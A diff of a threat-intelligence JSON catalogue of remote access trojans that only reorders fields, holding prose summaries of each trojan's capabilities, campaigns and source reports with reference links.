"uuid": "b1abae3d-e1a1-4c50-a3b0-9509c594a600",
- "value": "Xsser",
- "description": "Xsser mRAT is a piece of malware that targets iOS devices that have software limitations removed. The app is installed via a rogue repository on Cydia, the most popular third-party application store for jailbroken iPhones. Once the malicious bundle has been installed and executed, it gains persistence - preventing the user from deleting it. The mRAT then makes server-side checks and proceeds to steal data from the user's device and executes remote commands as directed by its command-and-control (C2) server."
+ "value": "Xsser"
},
{
+ "description": "GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years.",
"meta": {
"date": "2015",
"refs": [
@@ -1981,8 +1987,7 @@
]
},
"uuid": "b6ddc2c6-5890-4c60-9b10-4274d1a9cc22",
- "value": "GovRAT",
- "description": "GovRAT is an old cyberespionage tool, it has been in the wild since 2014 and it was used by various threat actors across the years."
+ "value": "GovRAT"
},
{
"meta": {
@@ -2012,6 +2017,7 @@
"value": "Hi-Zor"
},
{
+ "description": "Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns. ",
"meta": {
"date": "2015",
"refs": [
@@ -2022,8 +2028,7 @@
]
},
"uuid": "3d7cbe3f-ba90-46f7-89a2-21aa52871404",
- "value": "Quaverse",
- "description": "Quaverse RAT or QRAT is a fairly new Remote Access Tool (RAT) introduced in May 2015. This RAT is marketed as an undetectable Java RAT. As you might expect from a RAT, the tool is capable of grabbing passwords, key logging and browsing files on the victim's computer. On a regular basis for the past several months, we have observed the inclusion of QRAT in a number of spam campaigns. "
+ "value": "Quaverse"
},
{
"meta": {
@@ -2033,6 +2038,7 @@
"value": "Heseber"
},
{
+ "description": "Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it. ",
"meta": {
"date": "2015",
"refs": [
@@ -2042,10 +2048,10 @@
]
},
"uuid": "cb23f563-a8b9-4427-9884-594e8d3cc836",
- "value": "Cardinal",
- "description": "Cardinal is a remote access trojan (RAT) discovered by Palo Alto Networks in 2017 and has been active for over two years. It is delivered via a downloader, known as Carp, and uses malicious macros in Microsoft Excel documents to compile embedded C# programming language source code into an executable that runs and deploys the Cardinal RAT. The malicious Excel files use different tactics to get the victims to execute it. "
+ "value": "Cardinal"
},
{
+ "description": "Works on all Android, Windows, Linux and Mac devices!",
"meta": {
"date": "2015",
"refs": [
@@ -2053,8 +2059,7 @@
]
},
"uuid": "f091dfcb-07f4-4414-849e-c644e7327d94",
- "value": "OmniRAT",
- "description": "Works on all Android, Windows, Linux and Mac devices!"
+ "value": "OmniRAT"
},
{
"meta": {
@@ -2067,6 +2072,7 @@
"value": "Jfect"
},
{
+ "description": "Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed \"the Seven Pointed Dagger,\" managed by another group, \"Group 27,\" who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan's functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection. ",
"meta": {
"date": "2015",
"refs": [
@@ -2075,10 +2081,10 @@
]
},
"uuid": "8204723f-aefc-4c90-9178-8fe53e8d6f33",
- "value": "Trochilus",
- "description": "Trochilus is a remote access trojan (RAT) first identified in October 2015 when attackers used it to infect visitors of a Myanmar website. It was then used in a 2016 cyber-espionage campaign, dubbed \"the Seven Pointed Dagger,\" managed by another group, \"Group 27,\" who also uses the PlugX trojan. Trochilus is primarily spread via emails with a malicious .RAR attachment containing the malware. The trojan's functionality includes a shellcode extension, remote uninstall, a file manager, and the ability to download and execute, upload and execute, and access the system information. Once present on a system, Trochilus can move laterally in the network for better access. This trojan operates in memory only and does not write to the disk, helping it evade detection. "
+ "value": "Trochilus"
},
{
+ "description": "Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart.",
"meta": {
"date": "2015",
"refs": [
@@ -2086,10 +2092,10 @@
]
},
"uuid": "33b86249-5455-4698-a5e5-0c9591e673b9",
- "value": "Matryoshka",
- "description": "Their most commonly used initial attack vector is a simple, yet alarmingly effective, spearphishing attack, infecting unsuspecting victims via a malicious email attachment (usually an executable that has been disguised as something else). From there, Matryoshka runs second stage malware via a dropper and covertly installs a Remote Access Toolkit (RAT). This is done using a reflective loader technique that allows the malware to run in process memory, rather than being written to disk. This not only hides the install of the RAT but also ensures that the RAT will be ‘reinstalled’ after system restart."
+ "value": "Matryoshka"
},
{
+ "description": "First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan's infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by \"Ric\", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim's browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim's browsers and push pop-ups to the victim asking for the verification code they just received.",
"meta": {
"date": "2016",
"refs": [
@@ -2099,8 +2105,7 @@
]
},
"uuid": "05ecfb96-f9ec-4dab-b7d3-86b8cb3fe7b5",
- "value": "Mangit",
- "description": "First discovered by Trend Micro in June, Mangit is a new malware family being marketed on both the Dark web and open internet. Users have the option to rent the trojan's infrastructure for about $600 per 10-day period or buy the source code for about $8,800. Mangit was allegedly developed by \"Ric\", a Brazilian hacker, who makes himself available via Skype to discuss rental agreements. Once the malware is rented or purchased, the user controls a portion of the Mangit botnet, the trojan, the dropper, an auto-update system, and the server infrastructure to run their attacks. Mangit contains support for nine Brazillian banks including Citibank, HSBC, and Santander. The malware can also be used to steal user PayPal credentials. Mangit has the capability to collect banking credentials, receive SMS texts when a victim is accessing their bank account, and take over victim's browsers. To circumvent two-factor authentication, attackers can use Mangit to lock victim's browsers and push pop-ups to the victim asking for the verification code they just received."
+ "value": "Mangit"
},
{
"meta": {
@@ -2114,6 +2119,7 @@
"value": "LeGeNd"
},
{
+ "description": "Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free.",
"meta": {
"date": "2016",
"refs": [
@@ -2121,8 +2127,7 @@
]
},
"uuid": "80c94c22-b294-4622-8934-e89a235d586f",
- "value": "Revenge-RAT",
- "description": "Revenge v0.1 was a simple tool, according to a researcher known as Rui, who says the malware’s author didn’t bother obfuscating the RAT’s source code. This raised a question mark with the researchers, who couldn’t explain why VirusTotal scanners couldn’t pick it up as a threat right away.Revenge, which was written in Visual Basic, also didn’t feature too many working features, compared to similar RATs. Even Napolean admitted that his tool was still in the early development stages, a reason why he provided the RAT for free."
+ "value": "Revenge-RAT"
},
{
"meta": {
@@ -2135,6 +2140,7 @@
"value": "vjw0rm 0.1"
},
{
+ "description": "ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of \"kgf2016@yonsei.ac.kr,\" the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, \"Request Help\" and attached malicious HWP filename, \"I'm a munchon person in Gangwon-do, North Korea.\" The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers.",
"meta": {
"date": "2016",
"refs": [
@@ -2146,10 +2152,10 @@
]
},
"uuid": "38e68703-1db4-4b97-80e9-a0afd099da58",
- "value": "rokrat",
- "description": "ROKRAT is a remote access trojan (RAT) that leverages a malicious Hangual Word Processor (HWP) document sent in spearphishing emails to infect hosts. The HWP document contains an embedded Encapsulated PostScript (EPS) object. The object exploits an EPS buffer overflow vulnerability and downloads a binary disguised as a .JPG file. The file is then decoded and the ROKRAT executable is initiated. The trojan uses legitimate Twitter, Yandex, and Mediafire websites for its command and control communications and exfiltration platforms, making them difficult to block globally. Additionally, the platforms use HTTPS connections, making it more difficult to gather additional data on its activities. Cisco's Talos Group identified two email campaigns. In one, attackers send potential victims emails from an email server of a private university in Seoul, South Korea with a sender email address of \"kgf2016@yonsei.ac.kr,\" the contact email for the Korea Global Forum, adding a sense of legitimacy to the email. It is likely that the email address was compromised and used by the attackers in this campaign. The second is less sophisticated and sends emails claiming to be from a free Korean mail service with a the subject line, \"Request Help\" and attached malicious HWP filename, \"I'm a munchon person in Gangwon-do, North Korea.\" The ROKRAT developer uses several techniques to hinder analysis, including identifying tools usually used by malware analysts or within sandbox environments. Once it has infected a device, this trojan can execute commands, move a file, remove a file, kill a process, download and execute a file, upload documents, capture screenshots, and log keystrokes. Researchers believe the developer is a native Korean speaker and the campaign is currently targeting Korean-speakers."
+ "value": "rokrat"
},
{
+ "description": "Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”).",
"meta": {
"date": "2016",
"refs": [
@@ -2160,10 +2166,10 @@
]
},
"uuid": "179288c9-4ff1-4a7e-b728-35dd2e6aac43",
- "value": "Qarallax",
- "description": "Travelers applying for a US Visa in Switzerland were recently targeted by cyber-criminals linked to a malware called QRAT. Twitter user @hkashfi posted a Tweet saying that one of his friends received a file (US Travel Docs Information.jar) from someone posing as USTRAVELDOCS.COM support personnel using the Skype account ustravelidocs-switzerland (notice the “i” between “travel” and “docs”)."
+ "value": "Qarallax"
},
{
+ "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand.",
"meta": {
"date": "2016",
"refs": [
@@ -2172,10 +2178,10 @@
]
},
"uuid": "f266754c-d0aa-4918-95a3-73b28eaa66e3",
- "value": "MoonWind",
- "description": "MoonWind is a remote access tool (RAT) that was used in 2016 to target organizations in Thailand."
+ "value": "MoonWind"
},
{
+ "description": "Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we’ve seen its payload being distributed in the wild for the first time.",
"meta": {
"date": "2016",
"refs": [
@@ -2183,10 +2189,10 @@
]
},
"uuid": "f647cca0-7416-47e9-8342-94b84dd436cc",
- "value": "Remcos",
- "description": "Remcos is another RAT (Remote Administration Tool) that was first discovered being sold in hacking forums in the second half of 2016. Since then, it has been updated with more features, and just recently, we’ve seen its payload being distributed in the wild for the first time."
+ "value": "Remcos"
},
{
+ "description": "The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims’ web navigation and interrupt online banking session at will. After taking over a victim’s banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it.",
"meta": {
"date": "2016",
"refs": [
@@ -2194,10 +2200,10 @@
]
},
"uuid": "d840e5af-3e6b-49af-ab82-fb4f8740bf55",
- "value": "Client Maximus",
- "description": "The purpose of the Client Maximus malware is financial fraud. As such, its code aspires to create the capabilities that most banking Trojans have, which allow attackers to monitor victims’ web navigation and interrupt online banking session at will. After taking over a victim’s banking session, an attacker operating this malware can initiate a fraudulent transaction from the account and use social engineering screens to manipulate the unwitting victim into authorizing it."
+ "value": "Client Maximus"
},
{
+ "description": "Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most… ",
"meta": {
"date": "2016",
"refs": [
@@ -2205,10 +2211,10 @@
]
},
"uuid": "90b4addc-e9ff-412d-899e-7204c89c0bdb",
- "value": "TheFat RAT",
- "description": "Thefatrat a massive exploiting tool revealed >> An easy tool to generate backdoor and easy tool to post exploitation attack like browser attack,dll . This tool compiles a malware with popular payload and then the compiled malware can be execute on windows, android, mac . The malware that created with this tool also have an ability to bypass most… "
+ "value": "TheFat RAT"
},
{
+ "description": "Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails.",
"meta": {
"date": "2016",
"refs": [
@@ -2216,10 +2222,10 @@
]
},
"uuid": "ad6a1b4a-6d79-40d4-adb7-1d7ca697347e",
- "value": "RedLeaves",
- "description": "Since around October 2016, JPCERT/CC has been confirming information leakage and other damages caused by malware ‘RedLeaves’. It is a new type of malware which has been observed since 2016 in attachments to targeted emails."
+ "value": "RedLeaves"
},
{
+ "description": "Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files.",
"meta": {
"date": "2017",
"refs": [
@@ -2227,10 +2233,10 @@
]
},
"uuid": "40bce827-4049-46e4-8323-3ab58f0f00bc",
- "value": "Rurktar",
- "description": "Dubbed Rurktar, the tool hasn’t had all of its functionality implemented yet, but G DATA says “it is relatively safe to say [it] is intended for use in targeted spying operations.” The malicious program could be used for reconnaissance operations, as well as to spy on infected computers users, and steal or upload files."
+ "value": "Rurktar"
},
{
+ "description": "RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017.",
"meta": {
"date": "2017",
"refs": [
@@ -2238,10 +2244,10 @@
]
},
"uuid": "2384b62d-312f-43e2-ab47-68c9fcca1541",
- "value": "RATAttack",
- "description": "RATAttack is a remote access trojan (RAT) that uses the Telegram protocol to support encrypted communication between the victim's machine and the attacker. The Telegram protocol also provides a simple method to communicate to the target, negating the need for port forwarding. Before using RATAttack, the attacker must create a Telegram bot and embed the bot's Telegram token into the trojan's configuration file. When a system is infected with RATAttack, it connects to the bot's Telegram channel. The attacker can then connect to the same channel and manage the RATAttack clients on the infected host machines. The trojan's code was available on GitHub then was taken down by the author on April 19, 2017."
+ "value": "RATAttack"
},
{
+ "description": "So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on.",
"meta": {
"date": "2017",
"refs": [
@@ -2249,10 +2255,10 @@
]
},
"uuid": "9da7b7b2-f514-4114-83c0-ce3a5f635d2e",
- "value": "KhRAT",
- "description": "So called because the Command and Control (C2) infrastructure from previous variants of the malware was located in Cambodia, as discussed by Roland Dela Paz at Forecpoint here, KHRAT is a Trojan that registers victims using their infected machine’s username, system language and local IP address. KHRAT provides the threat actors typical RAT features and access to the victim system, including keylogging, screenshot capabilities, remote shell access and so on."
+ "value": "KhRAT"
},
{
+ "description": "",
"meta": {
"date": "2017",
"refs": [
@@ -2260,10 +2266,10 @@
]
},
"uuid": "5a3463d3-ff2a-41e2-9186-55da8c88b349",
- "value": "RevCode",
- "description": ""
+ "value": "RevCode"
},
{
+ "description": "Android Remote Administration Tool",
"meta": {
"date": "2017",
"refs": [
@@ -2271,10 +2277,10 @@
]
},
"uuid": "b1df2bb1-7fd4-4a25-93c3-fe1f2c7cf529",
- "value": "AhNyth Android",
- "description": "Android Remote Administration Tool"
+ "value": "AhNyth Android"
},
{
+ "description": "SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’",
"meta": {
"date": "1998",
"refs": [
@@ -2282,8 +2288,7 @@
]
},
"uuid": "da7c818f-5f3b-415c-b885-cf0a71d6e89e",
- "value": "Socket23",
- "description": "SOCKET23 was launched from his web site and immedi- ately infected major French corporations between August and October 1998. The virus (distributing the Trojan) was known as W32/HLLP.DeTroie.A (alias W32/Cheval.TCV). Never had a virus so disrupted French industry. The author quickly offered his own remover and made his apologies on his web site (now suppressed). Jean-Christophe X (18) was arrested on Tuesday 15 June 1999 in the Paris area and placed under judicial investigation for ‘fraudulent intrusion of data in a data processing system, suppression and fraudulent modification of data’"
+ "value": "Socket23"
},
{
"meta": {
@@ -2293,6 +2298,7 @@
"value": "PowerRAT"
},
{
+ "description": "Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the \"most sophisticated Mac spyware ever\", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform.",
"meta": {
"date": "2017",
"refs": [
@@ -2301,10 +2307,10 @@
]
},
"uuid": "b7cea5fe-d3fe-47cf-ba82-104c90e130ff",
- "value": "MacSpy",
- "description": "Standard macOS backdoor, offered via a 'malware-as-a-service' model. MacSpy is advertised as the \"most sophisticated Mac spyware ever\", with the low starting price of free. While the idea of malware-as-a-service (MaaS) isn’t a new one with players such as Tox and Shark the game, it can be said that MacSpy is one of the first seen for the OS X platform."
+ "value": "MacSpy"
},
{
+ "description": "Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection. ",
"meta": {
"date": "2017",
"refs": [
@@ -2312,8 +2318,7 @@
]
},
"uuid": "ee8ccb36-2596-43a3-a044-b8721dbeb2ab",
- "value": "DNSMessenger",
- "description": "Talos recently analyzed an interesting malware sample that made use of DNS TXT record queries and responses to create a bidirectional Command and Control (C2) channel. This allows the attacker to use DNS communications to submit new commands to be run on infected machines and return the results of the command execution to the attacker. This is an extremely uncommon and evasive way of administering a RAT. The use of multiple stages of Powershell with various stages being completely fileless indicates an attacker who has taken significant measures to avoid detection. "
+ "value": "DNSMessenger"
},
{
"meta": {
@@ -2326,6 +2331,7 @@
"value": "PentagonRAT"
},
{
+ "description": "NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans.",
"meta": {
"date": "2017",
"refs": [
@@ -2334,8 +2340,7 @@
]
},
"uuid": "6a505bfc-87fe-4bd2-97d7-394a3c29611d",
- "value": "NewCore",
- "description": "NewCore is a remote access trojan first discovered by Fortinet researchers while conducting analysis on a China-linked APT campaign targeting Vietnamese organizations. The trojan is a DLL file, executed after a trojan downloader is installed on the targeted machine. Based on strings in the code, the trojan may be compiled from the publicly-available source code of the PcClient and PcCortr backdoor trojans."
+ "value": "NewCore"
},
{
"meta": {
@@ -2359,56 +2364,57 @@
"value": "H-w0rm"
},
{
+ "description": "On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary’s arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —’file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim’s network, simply by wrapping commands. ",
"meta": {
"refs": [
"https://cdn.riskiq.com/wp-content/uploads/2017/10/RiskIQ-htpRAT-Malware-Attacks.pdf?_ga=2.159415805.1155855406.1509033001-1017609577.1507615928"
]
},
"uuid": "7362581a-a7d1-4060-b225-e227f2df2b60",
- "value": "htpRAT",
- "description": "On November 8, 2016 a non-disclosed entity in Laos was spear-phished by a group closely related to known Chinese adversaries and most likely affiliated with the Chinese government. The attackers utilized a new kind of Remote Access Trojan (RAT) that has not been previously observed or reported. The new RAT extends the capabilities of traditional RATs by providing complete remote execution of custom commands and programming. htpRAT, uncovered by RiskIQ cyber investigators, is the newest weapon in the Chinese adversary’s arsenal in a campaign against Association of Southeast Asian Nations (ASEAN). Most RATs can log keystrokes, take screenshots, record audio and video from a webcam or microphone, install and uninstall programs and manage files. They support a fixed set of commands operators can execute using different command IDs —’file download’ or ‘file upload,’ for example—and must be completely rebuilt to have different functionality. htpRAT, on the other hand, serves as a conduit for operators to do their job with greater precision and effect. On the Command and Control (C2) server side, threat actors can build new functionality in commands, which can be sent to the malware to execute. This capability makes htpRAT a small, agile, and incredibly dynamic piece of malware. Operators can change functionality, such as searching for a different file on the victim’s network, simply by wrapping commands. "
+ "value": "htpRAT"
},
{
+ "description": "According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL.",
"meta": {
"refs": [
"https://www.us-cert.gov/ncas/alerts/TA17-318A"
]
},
"uuid": "e0bea149-2def-484f-b658-f782a4f94815",
- "value": "FALLCHILL",
- "description": "According to trusted third-party reporting, HIDDEN COBRA actors have likely been using FALLCHILL malware since 2016 to target the aerospace, telecommunications, and finance industries. The malware is a fully functional RAT with multiple commands that the actors can issue from a command and control (C2) server to a victim’s system via dual proxies. FALLCHILL typically infects a system as a file dropped by other HIDDEN COBRA malware or as a file downloaded unknowingly by users when visiting sites compromised by HIDDEN COBRA actors. HIDDEN COBRA actors use an external tool or dropper to install the FALLCHILL malware-as-a-service to establish persistence. Because of this, additional HIDDEN COBRA malware may be present on systems compromised with FALLCHILL."
+ "value": "FALLCHILL"
},
{
+ "description": "Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics.\nTargets personnel or organizations related to South Korea or video games industry\nDistributes malware through Google Drive\nObtains C2 address from GitHub\nUses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence.",
"meta": {
"refs": [
"https://researchcenter.paloaltonetworks.com/2017/11/unit42-uboatrat-navigates-east-asia/"
]
},
"uuid": "03694200-80c2-433d-9797-09eafcad1075",
- "value": "UBoatRAT",
- "description": "Alto Networks Unit 42 has identified attacks with a new custom Remote Access Trojan (RAT) called UBoatRAT. The initial version of the RAT, found in May of 2017, was simple HTTP backdoor that uses a public blog service in Hong Kong and a compromised web server in Japan for command and control. The developer soon added various new features to the code and released an updated version in June. The attacks with the latest variants we found in September have following characteristics.\nTargets personnel or organizations related to South Korea or video games industry\nDistributes malware through Google Drive\nObtains C2 address from GitHub\nUses Microsoft Windows Background Intelligent Transfer Service(BITS) to maintain persistence."
+ "value": "UBoatRAT"
},
{
+ "description": "The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”",
"meta": {
"refs": [
"https://digitasecurity.com/blog/2018/01/23/crossrat/"
]
},
"uuid": "696125b9-7a91-463a-9e6b-b4fc381b8833",
- "value": "CrossRat",
- "description": "The EFF/Lookout report describes CrossRat as a “newly discovered desktop surveillanceware tool…which is able to target Windows, OSX, and Linux.”"
+ "value": "CrossRat"
},
{
+ "description": "TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.)\nThe data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format.",
"meta": {
"refs": [
"http://blog.jpcert.or.jp/.s/2018/03/malware-tscooki-7aa0.html"
]
},
"uuid": "7b107b46-4eca-11e8-b89f-0366ae765ddd",
- "value": "TSCookieRAT",
- "description": "TSCookie provides parameters such as C&C server information when loading TSCookieRAT. Upon the execution, information of the infected host is sent with HTTP POST request to an external server. (The HTTP header format is the same as TSCookie.)\nThe data is RC4-encrypted from the beginning to 0x14 (the key is Date header value), which is followed by the information of the infected host (host name, user name, OS version, etc.). Please refer to Appendix C, Table C-1 for the data format."
+ "value": "TSCookieRAT"
},
{
+ "description": "Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years.\nThe RAT appears to have been created as a joke, \"to Play with Mac users,\" and \"give Mac it's rights in this [the RAT] field,\" but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video.",
"meta": {
"refs": [
"https://www.bleepingcomputer.com/news/security/coldroot-rat-still-undetectable-despite-being-uploaded-on-github-two-years-ago/",
@@ -2416,10 +2422,10 @@
]
},
"uuid": "86f1f048-4eca-11e8-a08e-7708666ace6e",
- "value": "Coldroot",
- "description": "Coldroot, a remote access trojan (RAT), is still undetectable by most antivirus engines, despite being uploaded and freely available on GitHub for almost two years.\nThe RAT appears to have been created as a joke, \"to Play with Mac users,\" and \"give Mac it's rights in this [the RAT] field,\" but has since expanded to work all three major desktop operating systems — Linux, macOS, and Windows— according to a screenshot of its builder extracted from a promotional YouTube video."
+ "value": "Coldroot"
},
{
+ "description": "Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia.",
"meta": {
"refs": [
"https://exchange.xforce.ibmcloud.com/collection/East-Asia-Organizations-Victims-of-Comnie-Attack-12749a9dbc20e2f40b3ae99c43416d8c",
@@ -2427,51 +2433,51 @@
]
},
"uuid": "d14806fe-4ecb-11e8-a120-ff726de6a4d3",
- "value": "Comnie",
- "description": "Comnie is a RAT originally identified by Sophos. It has been using Github, Tumbler and Blogspot as covert channels for its C2 communications. Comnie has been observed targetting government, defense, aerospace, high-tech and telecommunication sectors in Asia."
+ "value": "Comnie"
},
{
+ "description": "GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor. ",
"meta": {
"refs": [
"https://blog.talosintelligence.com/2018/04/gravityrat-two-year-evolution-of-apt.html"
]
},
"uuid": "2d356870-4ecd-11e8-9bb8-e3ba5aa7da31",
- "value": "GravityRAT",
- "description": "GravityRAT has been under ongoing development for at least 18 months, during which the developer has implemented new features. We've seen file exfiltration, remote command execution capability and anti-vm techniques added throughout the life of GravityRAT. This consistent evolution beyond standard remote code execution is concerning because it shows determination and innovation by the actor. "
+ "value": "GravityRAT"
},
{
